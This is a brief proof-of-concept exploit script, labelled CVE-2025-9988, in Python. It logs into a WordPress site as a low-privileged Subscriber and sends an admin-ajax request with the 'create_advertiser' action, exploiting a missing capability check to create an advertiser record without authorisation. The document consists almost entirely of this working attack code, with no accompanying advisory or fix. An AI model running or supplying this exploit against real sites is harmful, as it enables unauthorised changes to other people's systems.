CVE-2025-9988

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Credentials for a low-privileged user (Subscriber) username = "subscriber" password = "password" # 1. Authenticate and get cookies login_url = "http://example.com/wp-login.php" session = requests.Session() session.post(login_url, data={'log': username, 'pwd': password}) # 2. Prepare payload to exploit the missing capability check payload = { 'action': 'create_advertiser', # The vulnerable AJAX action 'name': 'Malicious Advertiser', 'email': '[email protected]' } # 3. Send the request response = session.post(target_url, data=payload) # Check if exploitation was successful if response.status_code == 200: print("POC Successful: Advertiser created.") else: print("POC Failed.")

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